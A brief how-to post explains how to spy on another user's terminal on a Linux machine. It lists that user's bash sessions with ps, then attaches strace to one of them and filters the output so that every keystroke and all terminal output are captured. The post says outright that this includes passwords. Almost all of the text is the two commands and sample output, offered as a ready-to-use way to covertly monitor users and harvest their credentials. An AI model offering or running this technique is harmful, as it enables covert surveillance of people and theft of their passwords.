How to see on other users keystrokes ?

This will show you every keystrike which user does, and all answers which
he recieves on terminal, INCLUDING PASSWORDS

ps aux | grep pts | grep “\-bash” | grep -v grep

root 30562 0.0 0.1 4836 1356 pts/0 S 19:59 0:00 -bash
root 30648 0.0 0.1 4540 1388 pts/2 R 1:45 0:00 -bash

strace -f -p 30648 2>&1 | egrep “read|recv|write|send|exec|socket|connect”